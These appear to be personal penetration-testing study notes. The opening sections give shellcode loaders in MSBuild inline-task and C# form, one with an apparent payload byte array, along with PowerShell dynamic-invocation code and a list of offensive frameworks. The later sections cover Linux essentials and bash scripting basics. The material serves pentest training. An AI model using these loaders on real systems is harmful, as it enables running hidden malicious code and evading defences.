		  private static UInt32 MEM_COMMIT = 0x1000;          
		  private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;          
		  [DllImport("kernel32")]
		    private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
		    UInt32 size, UInt32 flAllocationType, UInt32 flProtect);          
		  [DllImport("kernel32")]
		    private static extern IntPtr CreateThread(            
		    UInt32 lpThreadAttributes,
		    UInt32 dwStackSize,
		    UInt32 lpStartAddress,
		    IntPtr param,
		    UInt32 dwCreationFlags,
		    ref UInt32 lpThreadId           
		    );
		  [DllImport("kernel32")]
		    private static extern UInt32 WaitForSingleObject(           
		    IntPtr hHandle,
		    UInt32 dwMilliseconds
		    );          
		  public override bool Execute()
		  {
			//replace with your own shellcode
		    byte[] shellcode = new byte[] { 0x00, 0x00 };
		      
		      UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
			MEM_COMMIT, PAGE_EXECUTE_READWRITE);
		      Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
		      IntPtr hThread = IntPtr.Zero;
		      UInt32 threadId = 0;
		      IntPtr pinfo = IntPtr.Zero;
		      hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
		      WaitForSingleObject(hThread, 0xFFFFFFFF);
		      return true;
		  } 
		}     
	      ]]>
	      </Code>
	    </Task>
	  </UsingTask>
	</Project>
```

### C# Execution via InteropServices

```csharp
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Diagnostics;
using System.Runtime.InteropServices;
namespace ConsoleApp1
{
 class Program
 {
 [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
 static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint
flAllocationType, uint flProtect);
 [DllImport("kernel32.dll")]
 static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize,
IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
 [DllImport("kernel32.dll")]
 static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32
dwMilliseconds);
 static void Main(string[] args)
 {
 byte[] buf = new byte[630] {
 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
 ...
 0x58,0xc3,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5 };
 int size = buf.Length;
 IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);
 Marshal.Copy(buf, 0, addr, size);
 IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0,
IntPtr.Zero);
 WaitForSingleObject(hThread, 0xFFFFFFFF);
 }
 }
}
```


# Win32 API Execution

## Powershell

### Add-Type

{% hint style="danger" %}
Add-Type calls the csc compiler, which writes to disk.&#x20;
{% endhint %}

```powershell
$User32 = @"
using System;
using System.Runtime.InteropServices;
public class User32 {
 [DllImport("user32.dll", CharSet=CharSet.Auto)]
 public static extern int MessageBox(IntPtr hWnd, String text, String caption, int
options);
}
"@
Add-Type $User32
[User32]::MessageBox(0, "This is an alert", "MyBox", 0)
```

### Dynamic Invocation - UnsafeNativeMethods

{% hint style="warning" %}
This snippet's purpose is to demonstrate the concept of Dynamic Invocation,&#x20;

For actual operational usage I recommend using this amazing project by TheWover

<https://github.com/TheWover/DInvoke>
{% endhint %}

```powershell
function LookupFunc {
 Param ($moduleName, $functionName)
 $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |
 Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].
 Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
 $tmp=@()
 $assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
 return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null,
@($moduleName)), $functionName))
}

function getDelegateType {
 Param (
 [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
 [Parameter(Position = 1)] [Type] $delType = [Void]
 )
 
 $type = [AppDomain]::CurrentDomain.
 DefineDynamicAssembly((New-Object 
 System.Reflection.AssemblyName('ReflectedDelegate')),
 [System.Reflection.Emit.AssemblyBuilderAccess]::Run).
 DefineDynamicModule('InMemoryModule', $false).
 DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass',
 [System.MulticastDelegate])
 
 $type.
 DefineConstructor('RTSpecialName, HideBySig, Public',
 [System.Reflection.CallingConventions]::Standard, $func).
 SetImplementationFlags('Runtime, Managed')
 
 $type.
 DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).
 SetImplementationFlags('Runtime, Managed')
 
 return $type.CreateType()
}

$VirtualAllocAddr = LookupFunc kernel32.dll VirtualAlloc
$VirtualAllocDelegateType = getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32])
```


# Frameworks Resources

Just a list of resources and frameworks I like and use.

<table><thead><tr><th>Name</th><th>Tags<select multiple><option value="c1e6a2425ee6484eabe9a43f55f7b930" label="Shellcode" color="blue"></option><option value="027fb8d70b3c4c67bcfc116e31bdf7df" label="C#" color="blue"></option><option value="a8d57180dac14dfb810ebae7e1a8bd30" label="Python" color="blue"></option><option value="9ac915df3e7a47c39e183d3a1b6a60d6" label="Powershell" color="blue"></option><option value="96e7d3853285489694734863102b2ad3" label="JavaScript" color="blue"></option><option value="8e993a7c42414f92be289d79acc66c09" label="VBScript" color="blue"></option><option value="9ac29722197c47a9b6f350825d418654" label="COM" color="blue"></option><option value="91293345524e473d9b17377d81910331" label="Payload Generator" color="blue"></option><option value="ef0dd4b001b64686868abdee665b3174" label="C2 Framework" color="blue"></option><option value="0551eddab6824f09803913d6de26cc2c" label="Custom Loader" color="blue"></option><option value="b539e1b62c2d4544ab2557d15822442c" label="Multi-Scripting-Languages" color="blue"></option></select></th><th>Description</th><th>Link</th></tr></thead><tbody><tr><td>Donut</td><td><span data-option="c1e6a2425ee6484eabe9a43f55f7b930">Shellcode, </span><span data-option="0551eddab6824f09803913d6de26cc2c">Custom Loader, </span><span data-option="b539e1b62c2d4544ab2557d15822442c">Multi-Scripting-Languages</span></td><td></td><td><a href="https://github.com/TheWover/donut">https://github.com/TheWover/donut</a></td></tr><tr><td>SharpShooter</td><td><span data-option="91293345524e473d9b17377d81910331">Payload Generator, </span><span data-option="027fb8d70b3c4c67bcfc116e31bdf7df">C#, </span><span data-option="b539e1b62c2d4544ab2557d15822442c">Multi-Scripting-Languages</span></td><td></td><td><a href="https://github.com/mdsecactivebreach/SharpShooter">https://github.com/mdsecactivebreach/SharpShooter</a></td></tr><tr><td>SilentTrinity</td><td><span data-option="ef0dd4b001b64686868abdee665b3174">C2 Framework, </span><span data-option="b539e1b62c2d4544ab2557d15822442c">Multi-Scripting-Languages</span></td><td></td><td><a href="https://github.com/byt3bl33d3r/SILENTTRINITY">https://github.com/byt3bl33d3r/SILENTTRINITY</a></td></tr><tr><td></td><td></td><td></td><td></td></tr><tr><td></td><td></td><td></td><td></td></tr></tbody></table>


# Linux Essentials

Quick reference of linux essentials and utilities to the beginner linux user. These notes were written quite a whilte ago, so some inaccurasies might be expected.

## Filesystem Hierarchy Standard

Is a Linux filesystem standard, presented in the following screen

| /               | Primary hierarchy root and root directory of the entire file system hierarchy.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                |
| --------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| /bin            | Essential command binaries that need to be available in single user mode; for all users, e.g., cat, ls, cp.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
| /boot           | Boot loader files, e.g., kernels, initrd.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
| /dev            | Device files, e.g., /dev/null, /dev/disk0, /dev/sda1, /dev/tty, /dev/random.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  |
| /etc            | Host-specific system-wide configuration files                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 |
|                 | There has been controversy over the meaning of the name itself. In early versions of the UNIX Implementation Document from Bell labs, /etc is referred to as the etcetera directory,\[3] as this directory historically held everything that did not belong elsewhere (however, the FHS restricts /etc to static configuration files and may not contain binaries).\[4] Since the publication of early documentation, the directory name has been re-explained in various ways. Recent interpretations include backronyms such as "Editable Text Configuration" or "Extended Tool Chest".\[5] |
| /etc/opt        | Configuration files for add-on packages that are stored in /opt.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              |
| /etc/sgml       | Configuration files, such as catalogs, for software that processes SGML.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
| /etc/X11        | Configuration files for the X Window System, version 11.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
| /etc/xml        | Configuration files, such as catalogs, for software that processes XML.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
| /home           | Users' home directories, containing saved files, personal settings, etc.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
| /lib            | Libraries essential for the binaries in /bin and /sbin.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
| /lib\<qual>     | Alternative format essential libraries. Such directories are optional, but if they exist, they have some requirements.                                                                                                                                                                                                                                                                                                                                                                                                                                                                        |
| /media          | Mount points for removable media such as CD-ROMs (appeared in FHS-2.3 in 2004).                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               |
| /mnt            | Temporarily mounted filesystems.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              |
| /opt            | Optional application software packages.\[6]                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
| /proc           | Virtual filesystem providing process and kernel information as files. In Linux, corresponds to a procfs mount. Generally automatically generated and populated by the system, on the fly.                                                                                                                                                                                                                                                                                                                                                                                                     |
| /root           | Home directory for the root user.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             |
| /run            | Run-time variable data: Information about the running system since last boot, e.g., currently logged-in users and running daemons. Files under this directory must be either removed or truncated at the beginning of the boot process; but this is not necessary on systems that provide this directory as a temporary filesystem (tmpfs).                                                                                                                                                                                                                                                   |
| /sbin           | Essential system binaries, e.g., fsck, init, route.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |
| /srv            | Site-specific data served by this system, such as data and scripts for web servers, data offered by FTP servers, and repositories for version control systems (appeared in FHS-2.3 in 2004).                                                                                                                                                                                                                                                                                                                                                                                                  |
| /sys            | Contains information about devices, drivers, and some kernel features.\[7]                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
| /tmp            | Temporary files (see also /var/tmp). Often not preserved between system reboots, and may be severely size restricted.                                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
| /usr            | Secondary hierarchy for read-only user data; contains the majority of (multi-)user utilities and applications.\[8]                                                                                                                                                                                                                                                                                                                                                                                                                                                                            |
| /usr/bin        | Non-essential command binaries (not needed in single user mode); for all users.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               |
| /usr/include    | Standard include files.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
| /usr/lib        | Libraries for the binaries in /usr/bin and /usr/sbin.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
| /usr/lib\<qual> | Alternative format libraries, e.g. /usr/lib32 for 32-bit libraries on a 64-bit machine (optional).                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            |
| /usr/local      | Tertiary hierarchy for local data, specific to this host. Typically has further subdirectories, e.g., bin, lib, share.\[9]                                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
| /usr/sbin       | Non-essential system binaries, e.g., daemons for various network-services.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
| /usr/share      | Architecture-independent (shared) data.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
| /usr/src        | Source code, e.g., the kernel source code with its header files.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              |
| /usr/X11R6      | X Window System, Version 11, Release 6 (up to FHS-2.3, optional).                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             |
| /var            | Variable files—files whose content is expected to continually change during normal operation of the system—such as logs, spool files, and temporary e-mail files.                                                                                                                                                                                                                                                                                                                                                                                                                             |
| /var/cache      | Application cache data. Such data are locally generated as a result of time-consuming I/O or calculation. The application must be able to regenerate or restore the data. The cached files can be deleted without loss of data.                                                                                                                                                                                                                                                                                                                                                               |
| /var/lib        | State information. Persistent data modified by programs as they run, e.g., databases, packaging system metadata, etc.                                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
| /var/lock       | Lock files. Files keeping track of resources currently in use.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                |
| /var/log        | Log files. Various logs.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
| /var/mail       | Mailbox files. In some distributions, these files may be located in the deprecated /var/spool/mail.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |
| /var/opt        | Variable data from add-on packages that are stored in /opt.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
| /var/run        | Run-time variable data. This directory contains system information data describing the system since it was booted.\[10]                                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
|                 | In FHS 3.0, /var/run is replaced by /run; a system should either continue to provide a /var/run directory, or provide a symbolic link from /var/run to /run, for backwards compatibility.\[11]                                                                                                                                                                                                                                                                                                                                                                                                |
| /var/spool      | Spool for tasks waiting to be processed, e.g., print queues and outgoing mail queue.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          |
| /var/spool/mail | Deprecated location for users' mailboxes.\[12]                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                |
| /var/tmp        | Temporary files to be preserved between reboots.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              |

## Linux Permission & Groups

<div align="left"><figure><img src="/files/iBan3zl4Vv3S1CbKouiP" alt=""><figcaption></figcaption></figure></div>

Each file in Linux has Three(3) modes of access

* Owner (section 2)
* Group (section 3)
* Others (section 4)

Each "mode of access" or user can possess a combination of Three(3) available permissions

* Read - R - 4 (octal representation of permission)
* Write - W - 2
* Execute - X - 1

The Octal representation can benefit us when using tools like 'chmod' to modify the permissions

* Section 1 reveals what type the object is:
  * d : directory
  * * : regular file
  * l : soft link
* Section 2,3,4 are detailed permissions for the respective user
* Section 5 details any alternative access methods
  * '-' : No other method
  * '.' : SELinux
  * '+' : FACLs
  * '+' : Any combination of methods
* Section 6,7 are names of the Owner and Group respectively

***

## Programs manual - "man" command

The manuals also document and present the type of "command" or tool as the following table displays:

* 1 - User Commands
* 2 - Programming interfaces for kernel system calls
* 3 - Programming interfaces to the C library
* 4 - Special files such as device nodes and drivers
* 5 - File formats
* 6 - Games and amusements such as screen-savers
* 7 - Miscellaneous
* 8 - System administration commands

**Note:**

Can search using keywords with the "-k" flag and also with Regular Expressions, Just apply it inline

**Example:**

```bash
man -k passwd
```

**Output:**

```bash
chgpasswd (8)        - update group passwords in batch mode
chpasswd (8)         - update passwords in batch mode
gpasswd (1)          - administer /etc/group and /etc/gshadow
grub-mkpasswd-pbkdf2 (1) - generate hashed password for GRUB
pam_localuser (8)    - require users to be listed in /etc/passwd
passwd (1)           - change user password
passwd (1ssl)        - compute password hashes
passwd (5)           - the password file
update-passwd (8)    - safely update /etc/passwd, /etc/shadow and /etc/group
```

## Descriptive tools search - "apropos" command

A way to search for a given tool by searching keywords from it's description.

**Example:**

```bash
apropos partition
```

**Output:**

```bash
addpart (8)          - simple wrapper around the "add partition" ioctl
all-swaps (7)        - event signalling that all swap partitions have been activated
cfdisk (8)           - display or manipulate disk partition table
cgdisk (8)           - Curses-based GUID partition table (GPT) manipulator
delpart (8)          - simple wrapper around the "del partition" ioctl
fdisk (8)            - manipulate disk partition table
fixparts (8)         - MBR partition table repair utility
gdisk (8)            - Interactive GUID partition table (GPT) manipulator
growpart (1)         - extend a partition in a partition table to fill available space
partprobe (8)        - inform the OS of partition table changes
partx (8)            - tell the Linux kernel about the presence and numbering of on-disk partitions
resizepart (8)       - simple wrapper around the "resize partition" ioctl
sfdisk (8)           - partition table manipulator for Linux
sgdisk (8)           - Command-line GUID partition table (GPT) manipulator for Linux and Unix
```

## Find files in Linux

* find

  * Common usage - <https://www.tecmint.com/35-practical-examples-of-linux-find-command/>

  ```bash
  # Find all the files whose name is tecmint.txt in a current working directory.
  find /home -name tecmint.txt

  # Find Files Using Name and Ignoring Case
  find /home -iname tecmint.txt

  # Find Directories Using Name
  find / -type d -name Tecmint

  # Find Files With 777 Permissions
  find . -type f -perm 0777 -print
  ```
* locate
* which

## System Services management

* systemctl
* ss (viewing)

## Advanced Package Tools

Kali linux is a Debian distribution that utilizes the Advanced package tool (APT) software to provide a package management software services in kali linux.

Two main application exists as an interface to managing software packages:

* apt

  > apt is a simplified and user-friendly version of apt-get

  Common command:

  ```bash
    list - list packages based on package names
    search - search in package descriptions
    show - show package details
    install - install packages
    reinstall - reinstall packages
    remove - remove packages
    autoremove - Remove automatically all unused packages
    update - update list of available packages
    upgrade - upgrade the system by installing/upgrading packages
    full-upgrade - upgrade the system by removing/installing/upgrading packages
    edit-sources - edit the source information file
  ```
* apt-get

**Note:**

apt installs software package and fulfils those software's dependencies recursively

### dpkg

dpkg is a core tool used to install packages on linux directly or indirectly through "apt".

dpkg those not resolve and install dependencies recursively according to the software's needs so that's something to take into account

* dpkg can also install packages offline from a .deb file by using the -i or —install flag

***

## Bash - Tips & Tricks

### Environment Variables

Example:

```jsx
echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin
```

View environment variable:

* env Add environment variable:
* export

### Piping and Redirection

The are 3 streams of information in linux CLI

* STDIN(0) - program input
* STDOUT(1) - program output / result output
* STRERR(2) - error messages stream

the information present in those streams can be redirected in multiple ways:

* redirect information to be written as a file ( >, >> )
* redirect information and input to a program ( | )
* reverse redirection, etc. ( < )

**Example:**

```bash
command: cat some_file.txt 

###

some_file.txt # STDIN 'some_file.txt'

"this is the text of 'some_file.txt'" # STDOUT 

"file doesn't exist" #STDERR

### Redirection and piping ###
cat some_file.txt > new_file.txt

"appended text" >> new_file.txt

cat some_file.txt | grep -i 

grep 'something' < file_to_grep.txt
```

## Bash history & CLI tricks

Bash have a history file named ".bash\_history" that can be displayed by the command "history"

```bash
kali@kali:~$ history

...
140  sudo apt upgrade
141  apt -g
142  cat some_file.txt
```

Shortened CLI command execution:

* ! - will execute the command in the specified numerical row in the history file
* !! - will execute the last executed command
* CTRL + R - reverse-i-search will prompt a search bar for search commands in the history file and then executing them.

### Text Searching and Manipulation

Common and powerful tools are:

* grep - searches for regex occurrences in the files
* awk - like cut but more complex and verbose
* cut - used to cut text from a line according to specific parameters
* sed - edits text from a stream

## File Editing, Manipulation & Analysis

### Text Editors

There are many text editor, some more capable and complicated than others

* nano
* vi

  * Good to know flags
  * *insert -* to begin typing
  * \~ - to enter command mode

  ```bash
  dd # Delete current line
  yy # Copy current line
  p # Pase clipboard contentcom
  ```

  * :q! - Quit without saving changes
  * :w - Write file to disk
  * :wq! - Save changes and quit

### Comparing Files

* comm - creates output of 3 columns in this order \[ A\_UNIQUE\_LINES(1), B\_UNIQUE\_LINES(2), AB\_SIMILLAR\_LINES]

  * -n \<column\_num> - a flag to control visibility of columns

  > -n 12 (column 1 and 2)
* diff - ' - ' precedes occurrence in 1st file where not in 2nd file ' + ' precedes occurrence in 2nd file where not in 1st file

  **Note:** When using the -c format flag, similar lines will be present in the output, when using the -u format flag, only different lines will be printed
* vimdiff - compares two files against each other visually with color coding

<figure><img src="/files/CeXol2l3L2pVhmHSCd6K" alt=""><figcaption></figcaption></figure>

## Managing Process

Processes can work in the "background" or in the "foreground", the difference between the two is the terminal focus position.

Also, there is a mechanism that combines multiple processes that work together as a "job" which can also be managed.

* bg - sending a process / job to the background allowing you to continue working in the terminal
  * Another easy way to background a process is by appending "&" to the end of the execution command.
* fg - Sending a process or a job to foreground
* jobs - shows the current active jobs with an ID number for each, you can use bg and fg in combination with that number.
* ps - shows active process on the machine
  * -ef - select all process with full format listing
  * -C - searches for the process execution command
* kill - kills a process by getting a PID

## File Monitoring

### tail

"tail" display the last lines of a given text file

> "-n" enables you to choose number of lines to display

### watch

"watch" is a utility that executes a command in a given (or default) time interval

> "-n" will determine the interval

## File Download

### wget

download webpages and files.

> -O to choose a new name for the downloaded file

### curl

download webpages and files.

### axel

A download accelerator, downs a file in multiple streams

***

## Bash Environment Customazation

### .bashrc

\~/.bashrc is the bash configuration file.

### export

a utility to export environment variable for global terminal usage

> export HISTTIMEFORMAT='%F %T '

### alias

A utility for creating aliases

> alias .. ="cd .."


# Bash Scripting

Refernce page for bash scripting, summarized notes from PEN-200, These notes were written quite a whilte ago, so some inaccurasies might be expected.

A Bash script is a plain-text file that contains a series of commands that are executed as if they had been typed at a terminal prompt, sequentially.&#x20;

{% hint style="info" %}
Shebang -> #!&#x20;

The shebang symbol is used to indicate the interpreter used to execute the script&#x20;

e.g. #!/bin/bash
{% endhint %}

**Bash Script Checklist**

* [ ] \#!/bin/bash - Adding the 'shebang' at the top of the file
* [ ] Providing execution permission for the file

**Bash Notes**

* Bash is case-sensitive
* execute bash with ' -x ' flag to print extra debug info
* Semi-colon ' ; ' is used as a command terminator&#x20;
* Single quotes acts different than double quotes

  * Double quotes allow the special meaning of these characters - $ , \ , \`

  ```bash
  name='sahar shukrun'

  greeting1='Hello $name' # cannot resolve the variable and prints the var name as is
  --Hello $name

  greeting="Hello $name" # variable can be used even when quotes are in place
  --Hello sahar shukrun
  ```

## Variables

```bash
# Declaring variables
cert_name='oscp'

# Variable dereference using the '$' sign
$cert_name
--'oscp'
```

### Scope of Variables

**Local variables**

```bash
local name="Joe"

## Usage
---------
#!/bin/bash
# var scope example
name1="John"
name2="Jason"

name_change() {
	local name1="Edward"
	echo "Inside of this function, name1 is $name1 and name2 is $name2"
	name2="Lucas"
}

echo "Before the function call, name1 is $name1 and name2 is $name2"
name_change
echo "After the function call, name1 is $name1 and name2 is $name2"
---
kali@kali:~$ ./varscope.sh
Before the function call, name1 is John and name2 is Jason
Inside of this function, name1 is Edward and name2 is Jason
After the function call, name1 is John and name2 is Lucas
```

### Command Substitution

A mechanism to save the output of a command to a variable; Two method are available:

* Wrapping the command with: **$(** ) - Newer and preferred method
* Wrapping the command with: **\` -** older and discouraged method (both method are implemented differently)

> command substitution happens in a subshell and changes to variables in the subshell will not alter variables from the master process

```bash
## Method 1
user=$(whoami)
echo $user
--kali

## Method 2
user=`whoami`
echo $user
--kali
```

### Reading user Input

We can read the user input while the script is running by using 'read'

```bash
kali@kali:~$ cat ./input.sh
#!/bin/bash
echo "Hello there, would you like to learn how to hack: Y/N?"
read answer
echo "Your answer was $answer"
kali@kali:~$ chmod +x ./input.sh
kali@kali:~$ ./input.sh
Hello there, would you like to learn how to hack: Y/N?
Y
Your answer was Y
```

**Read**

* -p - allows you to specify a prompt to the user
* -s - makes the input silent (unseen on screen)

### Arguments

<figure><img src="/files/xR4dCg5XBCPSbN9SxEmR" alt=""><figcaption><p>Special Bash Variables</p></figcaption></figure>

## If, Else, Elif Statements

**General syntax**

```bash
if [ <condition> ]
then
	<code>
elif
then
	<code>
else
	<code>
fi #block terminator
```

<figure><img src="/files/QdHzTOTdBvnX9EdqY5EO" alt=""><figcaption></figcaption></figure>

### Boolean operators & Command list

**Command list**

Command lists are a chain of commands that have a certain code flow according to the operators used

* \| - Pipe, is one such operator, a pipe will redirect the output of a command to the next command
* && - The AND operator bind the commands it is being used by with an AND condition;

  If the first command is not successful, the second command will not be executed, it requires the first command to yield True, otherwise it will stop

  ```bash
  # Example for Successful &&
  kali@kali:~$ user2=kali
  kali@kali:~$ grep $user2 /etc/passwd && echo "$user2 found!"
  kali:x:1000:1000:,,,:/home/kali:/bin/bash
  kali found!

  # Failed &&
  kali@kali:~$ user2=bob
  kali@kali:~$ grep $user2 /etc/passwd && echo "$user2 found!"
  ```
* || - The OR operator requires at-least 1 command, meaning, only if the first command failed, the next one will be executed.

  ```bash
  kali@kali:~$ grep $user2 /etc/passwd && echo "$user2 found!" || echo "$user2 not found!"
  bob not found!
  ```

**Boolean Operators**

The same && and || operator can be use like normal AND, OR in conditioning (if, else, etc)

## Loops

**For Loops**

```bash
for var-name in <list>
do
<action to perform>
done
```

**While Loops**

```bash
while [ <some test> ]
do
<perform an action>
done
```

```bash
# while loops example
counter=1
while [ $counter -le 10 ]
do
echo "10.11.1.$counter"
((counter++))
done
```

**Utility Commands**

* seq - sequence, seems to operate like python's 'range' function; 1st parameter is the first number on the list (inclusive), **2nd number is the end of the list (inclusive)**

  * A sequence can also be created by using 'brace expansion' = {1..10}

  ```bash
  ## ways to generate a list of number or chars

  # 1st way
  seq 1 10

  #2nd way
  {1..10}
  ```

## Functions

**Note:** The parenthasis serve only as decoration, parameters cannot be used.

```bash
# 1st format
function_name () {
commands...
}

# 2nd format 
function function_name {
commands...
}
```

To get return values from the functions we can:

* Use the $? global variable and receive an exit status (Zero for success, non-zero for failure)

```bash
#!/bin/bash
# function return value example
return_me() {
echo "Oh hello there, I'm returning a random value!"
return $RANDOM
}
return_me
echo "The previous function returned a value of $?"
kali@kali:~$ chmod +x ./funcrvalue.sh
kali@kali:~$ ./funcrvalue.sh
Oh hello there, I'm returning a random value!
The previous function returned a value of 198
```

* Set a new global variable with the value we want to return
* Use command substitution on the function and simulate a return value by assigning it to a new variable


